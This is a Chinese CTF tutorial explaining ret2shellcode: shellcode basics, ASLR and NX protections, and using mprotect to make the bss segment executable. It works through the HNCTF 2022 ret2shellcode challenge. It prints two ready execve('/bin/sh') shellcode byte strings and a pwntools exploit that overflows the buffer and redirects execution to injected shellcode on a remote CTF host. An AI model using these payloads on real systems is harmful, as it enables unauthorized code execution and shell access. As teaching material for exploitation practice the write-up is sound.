参考链接 :基本 ROP - CTF Wiki (ctf-wiki.org)
参考链接: https://www.freebuf.com/vuls/266711.html
参考链接:PWN入门(2-2-1)-栈迁移(x86) (yuque.com)
介绍
栈溢出漏洞的一种利用方式,通过向可写入可执行内存写入shellcode,并利用栈溢出漏洞将返回地址覆盖为shellcode的首地址加以执行。
原理
在讲原理之前我们先讲一下shellcode是什么?
Shellcode是什么?
shellcode 是一种小型程序代码,通常是以机器码的形式存在,被用于在目标系统上执行特定的服务。
通俗说就是一段可以获得shell的机器码
shellcode的特征和利用
1.自包含性
shellcode通常是自包含的,这意味着它不依赖于外部的库或资源,能够独立运行。
2.编写方式
shellcode 通常是用汇编语言编写的,然后汇编成机器码,这是因为机器码可以直接在目标系统的处理器上执行,并且具有很高的执行效率。
3.常见用途
在CTF中主要用途为获得一个 shell。
shellcode代码
shellcode 21 字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
shellcode 23 字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
ASLR保护
ASLR是一个Linux系统保护机制,有效的防止了很多漏洞。
ASLR是操作系统的功能选项,在ELF文件加载到内存的时候发动,会影响到栈、动态链接库、堆的基址。开启后,每次程序加载使栈、动态链接库、堆的基地址都会随机化。
ASLR有三种状态
/proc/sys/kernel/randomize_va_space的值决定着ASLR的状态
1.为0,地址随机化关闭
2.为1,随机化stack、mmap映射、vdso
3.为,2随机化stack、mmap映射、vdso、heap(默认选项)
NX保护
NX保护机制的全写为 NO-Execute(不可执行),NX的原理是将数据所在内存页标识为不可执行,当程序被劫持到数据页(不可执行内存)时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可执行,此时CPU就会抛出异常,而不是去执行数据。
早期我们将shellcode写入缓冲区执行,但是因为ASLR保护的出现这种利用方法难度越来越高。
除此之外还可以向其他可读可写段,比如bss段写入shellcode,然后将程序流指向其地址就可以执行。
一般ret2shellcode的前提是没有NX保护,但是即便存在NX保护也有办法shellcode。
这里介绍一个可以修改内存权限的函数。
mprotect函数,可以改写内存权限
- 第一个参数:开始地址(该地址应是0x1000的倍数,以页方式对齐)
- 第二个参数:指定长度(长度也应该是0x1000的倍数)
- 第三个参数:指定属性(r=4、w=2、x=1)
如果程序中存在这个函数就可以调用这个函数修改内存权限实现ret2shellcode。
例题
[HNCTF 2022 Week1]ret2shellcode
下载附件
拿到附件后,先进行checksec保护分析。
可以看到程序只存在NX保护和RELRO保护。
分析main函数代码
发现危险函数read,分析代码逻辑
定义一个char型数组s,长度为256,read函数从标准输入读取0x110个字符即十进制272个字符。读取字符数超过数组长度,所以判断这里存在栈溢出。并且溢出16个字节,足够覆盖掉rbp和返回地址。
strcpy函数将数组s的所有内容复制到buff中。buff位于bss段,即未初始化全局变量。但是bss段并没有可执行权限,也就是shellcode不可执行
这时发现mprotect函数
函数中参数为7,即将这段内存区域修改为可读可写可执行。
动态调试查看buff是否在修改后的可执行段中
查看函数执行前的buff权限
buff地址:0x4040a0
函数执行后的buff权限
分析发现函数执行之后buff有了可执行权限。
于是我们可以用ret2shellcode
通过将shell写入这段内存中,再通过栈溢出覆盖返回地址为buff地址将rip指针寄存器指向其地址执行shell。
exp
from pwn import *context(log_level="debug",arch="amd64")p=remote("node5.anna.nssctf.cn",22419)
elf=ELF("./pwn")#生成shell
#这里也可以使用现成的shellcode
#shellcode="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
shellcode = asm(shellcraft.sh())buf_addr = elf.symbols["buf"]
#shellcode指定为0x108字节最大宽度,不够用a补齐
p.sendline(shellcode.ljust(0x108,b"a") + p64(buf_addr))
p.interactive()
拿到flag